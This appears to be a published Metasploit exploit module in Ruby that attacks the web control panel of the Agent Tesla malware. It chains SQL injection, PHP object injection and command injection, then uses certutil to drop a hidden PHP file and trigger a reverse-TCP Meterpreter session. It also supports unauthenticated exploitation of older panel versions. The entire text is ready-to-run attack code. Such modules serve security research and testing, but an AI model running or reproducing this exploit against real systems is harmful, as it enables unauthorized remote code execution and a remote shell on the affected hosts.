Agent Tesla Panel Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Agent Tesla Panel Remote Code Execution',  
'Description' => %q{  
This module exploits a command injection vulnerability within the Agent Tesla control panel,  
in combination with an SQL injection vulnerability and a PHP object injection vulnerabilty, to gain  
remote code execution on affected hosts.  
  
Panel versions released prior to Sepetember 12, 2018 can be exploited by unauthenticated attackers to  
gain remote code execution as user running the web server. Agent Tesla panels released on or after  
this date can still be exploited however, provided that attackers have valid credentials for the  
Agent Tesla control panel.  
  
Note that this module presently only fully supports Windows hosts running Agent Tesla on the WAMP stack.  
Support for Linux may be added in a future update, but could not be confirmed during testing.  
},  
'Author' => [  
'Ege Balcı <[email protected]>', # discovery and independent module  
'mekhalleh (RAMELLA Sébastien)', # Added windows targeting and authenticated RCE  
'gwillcox-r7' # Multiple edits to finish porting the exploit over to Metasploit  
],  
'References' => [  
['EDB', '47256'], # Original PoC and Metasploit module  
['URL', 'https://github.com/mekhalleh/agent_tesla_panel_rce/tree/master/resources'], # Agent-Tesla WebPanel's available for download  
['URL', 'https://www.pirates.re/agent-tesla-remote-command-execution-(fighting-the-webpanel)'], # Writeup in French on this module and its surrounding research.  
['URL', 'https://krebsonsecurity.com/2018/10/who-is-agent-tesla/'] # Background info on Agent Tesla  
],  
'DisclosureDate' => '2019-08-14', # Date of first PoC for this module, not aware of anything prior to this.  
'License' => MSF_LICENSE,  
'Platform' => ['php'],  
'Arch' => [ARCH_PHP],  
'Privileged' => false,  
'Targets' => [  
[  
'Automatic (PHP-Dropper)', {  
'Platform' => 'php',  
'Arch' => [ARCH_PHP],  
'Type' => :php_dropper,  
'DefaultOptions' => {  
'PAYLOAD' => 'php/meterpreter/reverse_tcp',  
'DisablePayloadHandler' => 'false'  
}  
}  
],  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options([  
OptString.new('PASSWORD', [false, 'The Agent Tesla CnC password to authenticate with', nil]),  
OptString.new('TARGETURI', [true, 'The URI where the Agent Tesla CnC panel is located on the target', '/WebPanel/']),  
OptString.new('USERNAME', [false, 'The Agent Tesla CnC username to authenticate with', nil])  
])  
end  
  
def os_get_name  
response = parse_response(execute_command('echo $PATH'))  
  
## Not linux, check Windows.  
response = parse_response(execute_command('echo %PATH%')) if response.include?('$PATH')  
  
os_name = ''  
if response =~ %r{^\/}  
os_name = 'linux'  
elsif response =~ /^[a-zA-Z]:\\/  
os_name = 'windows'  
end  
  
os_name  
end  
  
def parse_response(js)  
return '' unless js  
  
begin  
return js.get_json_document['data'][0].values.join  
rescue NoMethodError  
return ''  
end  
return ''  
end  
  
def execute_command(command, _opts = {})  
junk = rand(1_000)  
sql_prefix = Rex::Text.to_rand_case("#{junk} LIKE #{junk} UNION SELECT ")  
requested_payload = {  
'table' => 'passwords',  
'primary' => 'HWID',  
'clmns' => 'a:1:{i:0;a:3:{s:2:"db";s:4:"HWID";s:2:"dt";s:4:"HWID";s:9:"formatter";s:4:"exec";}}',  
'where' => Rex::Text.encode_base64("#{sql_prefix}\"#{command}\"")  
}  
cookie = auth_get_cookie  
  
request = {  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', 'server_processing.php')  
}  
request = request.merge({ 'cookie' => cookie }) if cookie != :not_auth  
request = request.merge({  
'encode_params' => true,  
'vars_get' => requested_payload  
})  
  
response = send_request_cgi(request)  
return false unless response  
  
return response if response.body  
  
false  
end  
  
def auth_get_cookie  
if datastore['USERNAME'] && datastore['PASSWORD']  
response = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'login.php'),  
'vars_post' => {  
'Username' => datastore['USERNAME'],  
'Password' => datastore['PASSWORD']  
}  
)  
return :not_auth unless response  
  
return response.get_cookies if response.redirect? && response.headers['location'] =~ /index.php/  
end  
  
:not_auth  
end  
  
def check  
# check for login credentials couple.  
if datastore['USERNAME'] && datastore['PASSWORD'].nil?  
fail_with(Failure::BadConfig, 'The USERNAME option is defined but PASSWORD is not, please set PASSWORD.')  
end  
  
if datastore['PASSWORD'] && datastore['USERNAME'].nil?  
fail_with(Failure::BadConfig, 'The PASSWORD option is defined but USERNAME is not, please set USERNAME.')  
end  
  
response = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', 'server_processing.php')  
)  
  
if response  
if response.redirect? && response.headers['location'] =~ /login.php/  
unless datastore['USERNAME'] && datastore['PASSWORD']  
print_warning('Unauthenticated RCE can\'t be exploited, retry if you gain CnC credentials.')  
return Exploit::CheckCode::Unknown  
end  
end  
  
rand_str = Rex::Text.rand_text_alpha(8..16)  
cmd_output = parse_response(execute_command("echo #{rand_str}"))  
  
return Exploit::CheckCode::Vulnerable if cmd_output.include?(rand_str)  
end  
  
Exploit::CheckCode::Safe  
end  
  
def exploit  
# NOTE: Automatic check is implemented by the AutoCheck mixin  
super  
  
os = os_get_name  
unless os  
print_bad('Could not determine the targeted operating system.')  
return Msf::Exploit::Failed  
end  
print_status("Targeted operating system is: #{os}")  
  
file_name = '.' + Rex::Text.rand_text_alpha(10) + '.php'  
case os  
when /linux/  
fail_with(Failure::NoTarget, "This module currently doesn't support exploiting Linux targets!")  
when /windows/  
cmd = "echo #{Rex::Text.encode_base64(payload.encoded)} > #{file_name}.b64 & certutil -decode #{file_name}.b64 #{file_name} & del #{file_name}.b64"  
end  
print_status("Sending #{datastore['PAYLOAD']} command payload")  
vprint_status("Generated command payload: #{cmd}")  
  
response = execute_command(cmd)  
unless response && response.code == 200 && response.body.include?('command completed successfully')  
fail_with(Failure::UnexpectedReply, 'Payload upload failed :(')  
end  
if os == 'windows'  
panel_uri = datastore['TARGETURI'].gsub('/', '\\')  
print_status("Payload uploaded as: #{file_name} to C:\\wamp64\\www\\#{panel_uri}\\server_side\\scripts\\#{file_name}")  
register_file_for_cleanup("C:\\wamp64\\www\\#{panel_uri}\\server_side\\scripts\\#{file_name}")  
else  
fail_with(Failure::NoTarget, "This module currently doesn't support exploiting Linux targets! This error should never be hit!")  
end  
  
# Triggering payload.  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', file_name)  
}, 2.5)  
end  
end  
`